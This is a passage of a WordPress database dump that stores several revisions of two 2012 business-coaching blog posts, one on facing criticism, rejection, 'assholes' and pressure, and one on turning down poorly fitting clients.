(2181, 2, '2012-09-23 11:55:32', '2012-09-23 18:55:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1><span style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-7', '', '', '2012-09-23 11:55:32', '2012-09-23 18:55:32', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-7/', 0, 'revision', '', 0),
(2182, 2, '2012-09-23 11:58:58', '2012-09-23 18:58:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg"><img class="alignnone size-full wp-image-2174" title="CRAP" src="http://whc.fbdev.org/wp-content/uploads/2012/09/CRAP.jpg" alt="" width="495" height="287" /></a>\r\n<h1><span style="color: #808080;">You can’t create and experience any level of success in business and life unless you’re willing to wade through CRAP.</span></h1>\r\nOk I confess I stole the acronym from an excellent <a href="http://lifehacker.com/5941327/the-8-secrets-of-success" target="_blank">TED talk</a> on the traits of successful people. I encourage you to check it out. Of course, anyone who has ever attempted to create success at anything knows it’s difficult and it takes time. Along the way you’re going to have to face a lot of CRAP. There’s simply no avoiding it.\r\n\r\nThere are many “success gurus” out there in internet land selling the formula for easy success. And like P.T. Barnum says–“there’s a sucker born every minute”!  I don’t believe that success is something you can buy in a formula. And there’s no formula I know of that will help you avoid the CRAP of success.\r\n\r\nEvery one has their definition of success. Of all the definitions of success I’ve heard, I like Bob Dylan’s the best–“ you’re a success when you get up every morning and go to bed at night and in between you do whatever you want to do”. That works for me.  But to do whatever you want to do involves CRAP.  Here’s my take on how to accept the CRAP that comes with the pursuit of your success:\r\n<h2>Criticism</h2>\r\nOne of my early mentors had an expression about criticism. It went something like this–“it takes a carpenter to build a barn, but any jackass can kick one down”.  Whatever big idea you’re working on, there’s going to be a jackass trying to kick down your barn.\r\n\r\nAnytime you’re hanging it out there for all to see, you’ll be told your idea will never work, you’re not doing it right, whatever.  Granted, sometimes critics can be helpful, but usually they’re not. If you’re creating something beautiful in the world, you’ll hear from the critics. Use criticism as a guide that you’re on the right path, the more they say it won’t work, it’s a stupid idea, the more you know you’re on to something special. And one more thing, when that critical voice is your own – ignore yourself!\r\n<h2>Rejection</h2>\r\nNo one likes to be rejected.  But rejection is, in large measure, the raw material necessary for success. Rejection tests your passion and persistence. I’m sure you’ve heard countless stories about the author whose manuscript was rejected hundreds of times only to go on to massive success. When I work with business development people, I consult with them to hurry up and burn through all the “nos” they’re bound to encounter. Every no gets you one step closer to yes.  When you’re ideas and plans are rejected, you have two choices: quit or press on anyway.  Enough said!\r\n<h2>Assholes</h2>\r\nThis is my favorite. Assholes lurk everywhere along your path to success. People who for some reason want to see you fall flat on your face, treat you with distain, and basically serve no other purpose than to get in your way.  Like critics, they are to be avoided at all costs. Only hang with people who are favorable to your ideas, support and encourage you to keep going. Most of the assholes I have run into in my own pursuits have been people who are afraid to believe in their potential. Their frustration and mean spiritedness is about their own fear and feelings of lack directed outward at others who demonstrate the courage they can’t find within themselves.\r\n<h2>Pressure</h2>\r\nMost people want nothing more than to be safe, comfortable and have things be predictable. They can’t deal with the pressure involved in creating something magnificent. Pressure is good! If you’re running your own show, you’ll experience pressures and anxiety that comes with  “trusting and believing” in yourself. Making things happen in the physical world from ideas born in the formless world takes a certain amount of pressure. Use pressure as your own creative force for forging the bigger, better future you see in your mind’s eye.\r\n\r\n<strong>Indeed there’s CRAP to wade through as you create your own version of success. You’ll need to rely on your passion, focus, and persistence to get there.  There really are no secrets to success– only hard work. This is as it should be</strong>.', 'CRAP: Criticism, Rejection, Assholes, Pressure', 0, '', 'inherit', 'open', 'open', '', '2173-revision-8', '', '', '2012-09-23 11:58:58', '2012-09-23 18:58:58', '', 2173, 'http://www.whitehotcenter.com/2012/09/2173-revision-8/', 0, 'revision', '', 0);
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(2183, 2, '2012-10-20 09:50:19', '2012-10-20 16:50:19', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'publish', 'open', 'open', '', 'just-say-no-scenarios-where-you-should-run-from-a-client-opportunity', '', '', '2012-10-20 09:50:19', '2012-10-20 16:50:19', '', 0, 'http://www.whitehotcenter.com/?p=2183', 0, 'post', '', 3),
(2184, 2, '2012-10-20 09:18:25', '2012-10-20 16:18:25', '', 'Be choosy!', 0, '', 'inherit', 'open', 'open', '', 'just-say-no', '', '', '2012-10-20 09:18:25', '2012-10-20 16:18:25', '', 2183, 'http://www.whitehotcenter.com/wp-content/uploads/2012/10/just-say-no.jpg', 0, 'attachment', 'image/jpeg', 0),
(2185, 2, '2012-10-20 09:27:32', '2012-10-20 16:27:32', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\n\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\n\n<strong>The “Switcheru” Scenario</strong>\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\n\nIf it happens to you, run the other way. Here’s why.\n\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\n\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\n\n<strong>The “show us your ideas” Scenario.</strong>\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\n\nIf this happens to you, run the other way! Here’s why:\n\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\n\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\n\n<strong>Value Creators have no problem saying no.</strong>\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\n\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\n\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision', '', '', '2012-10-20 09:27:32', '2012-10-20 16:27:32', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision/', 0, 'revision', '', 0),
(2188, 2, '2012-10-20 09:37:13', '2012-10-20 16:37:13', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\n\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\n\n<strong>The “Switcheru” Scenario</strong>\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\n\nIf it happens to you, run the other way. Here’s why.\n\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\n\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\n\n<strong>The “show us your ideas” Scenario.</strong>\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\n\nIf this happens to you, run the other way! Here’s why:\n\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\n\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\n\n<strong>Value Creators have no problem saying no.</strong>\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\n\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\n\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-4', '', '', '2012-10-20 09:37:13', '2012-10-20 16:37:13', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-4/', 0, 'revision', '', 0),
(2186, 2, '2012-10-20 09:28:51', '2012-10-20 16:28:51', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-2', '', '', '2012-10-20 09:28:51', '2012-10-20 16:28:51', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-2/', 0, 'revision', '', 0),
(2187, 2, '2012-10-20 09:29:02', '2012-10-20 16:29:02', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- taker with no power in the buying cycle. You only provide your high-value solutions when you are paid for it. Worse, when you participate in these pitches, you are doing a terrible disservice to your paying clients by agreeing to do free work for others while they pay your bills. Indeed–bad karma.\r\n\r\n<strong>Value Creators have no problem saying no.</strong>\r\nIt’s of strategic importance that you learn to assess opportunity appropriately by saying no early and often in your business development conversations. Respectfully and professionally pass on opportunity that for any reason you believe is not a good solid fit between you and the client.  Refuse any business opportunity that does not represent an opportunity for you and your team to add to the growth and success of all concerned.\r\n\r\nThis is difficult for sure. As I said earlier in the post, I struggled with this for years. It was very difficult to refuse business when you have a big payroll to meet every week. If you want to  attract new and higher value clients to your business, you have to be choosy. Run fast in the other direction and trust the void will be filled by something much better. Nature abhors a vacuum.\r\n\r\n<strong>Put your focus on developing relationships with only those client’s who see you and your team as having the potential to represent a  “trusted advisor / value creator” status in solving their problems. You must position yourself as a facilitator of valuable business outcomes, not a deliverer of stuff.</strong>', 'Just say no: Scenarios where you should run from a client opportunity.', 0, '', 'inherit', 'open', 'open', '', '2183-revision-3', '', '', '2012-10-20 09:29:02', '2012-10-20 16:29:02', '', 2183, 'http://www.whitehotcenter.com/2012/10/2183-revision-3/', 0, 'revision', '', 0),
(2189, 2, '2012-10-20 09:47:08', '2012-10-20 16:47:08', '<img class="alignnone size-full wp-image-2184" title="Be choosy!" src="http://whc.fbdev.org/wp-content/uploads/2012/10/just-say-no.jpg" alt="" width="495" height="427" />\r\n<h1>In an era where keeping clients happy and finding new ones is harder than ever, it’s difficult for early stage entrepreneurs to say “no” to clients who aren’t a good fit. It’s imperative to learn how to assess, early in your sales conversations, which opportunities are a good fit for you and which ones to pass on.</h1>\r\nIt’s such a simple and powerful word with only two letters. Why is saying “no” such a difficult thing for early stage creative entrepreneurs to master? Simple– many don’t want to miss out on any opportunity to generate cash.\r\n\r\nHere’s an important principle I’ve learned from my own experience, and studying the habits of successful entrepreneurs who are brilliant at assessing their best opportunities to do the work that matters to them, serving the right clients who appreciate (pay extra for) the value of their expertise:\r\n<h2><strong>The more selective you are, the more cash will show up in your business!</strong></h2>\r\n<strong></strong>I’m sure some of you are thinking that sounds like a bullshit idea. I admit, after meeting a demanding payroll in my own business, the cynic in me struggles with this one too. After all, some cash is better than no cash, right? Wrong! No cash is worth the steep karmic price paid when you find yourself in these scary scenarios:\r\n\r\n<strong>The “Switcheru” Scenario</strong>\r\n<em>A new executive comes in and completely takes over the agenda of your high value work and shifts the course mid-stream without consulting you. The new executive has been hired to change current circumstances and perceives you and your team as part of the current circumstances. The new boss is under extreme pressure to deliver greater results, more quickly and cheaper. The project is back to square one. You’re asked to prepare another proposal for the gig you thought you had. You’ve been invited to a meeting (with five other competitors) to be briefed on the new vision which is peppered with lots of new business opportunities reserved for those who will “play ball” with the new boss.</em>\r\n\r\nIf it happens to you, run the other way. Here’s why.\r\n\r\nThe new boss perceives you and your competitors as easily replaceable “implementers”– cogs rather than linchpins. Your strategic and high value expertise is neither valued nor desired. Whoever can do the implementing faster and cheaper with step-to-the-music compliance to the new agenda will most likely get the gig.\r\n\r\nYour chances of winning the business will be small, but your investment in time to sell it in again will be big. Even if you win the business, you will be working for a cheap fee that will, at best, contribute only to your overhead. It won’t be profitable, and you will feel powerless and marginalized in the process. You and your team won’t be inspired to do your best work, making the whole deal seem meaningless–finally confirming the original suspicions of the new boss you were lame to begin with.\r\n\r\n<strong>The “show us your ideas” Scenario.</strong>\r\nA prospective client invites you to present your capabilities for consideration of a project and sends you an RFP. As you pour over the particulars, you’re delighted to learn that this opportunity represents a sizable chunk of business that you know you and your team are just perfect for.  However, as you investigate further, you realize that the client is asking you (and your competitors) to “show us ideas” as a value component to fulfilling the requirements of their RFP. It’s a winner take all shootout.\r\n\r\nIf this happens to you, run the other way! Here’s why:\r\n\r\nAny potential client that asks you to audition for their business by expecting you to give away your high-value ideas without compensation is a client who doesn’t value your ideas or you for that matter.\r\n\r\nNever, ever, ever give away your high value product for free as proof of your worthiness to meet the client’s needs. You will always and forever be typecast as a low value order- 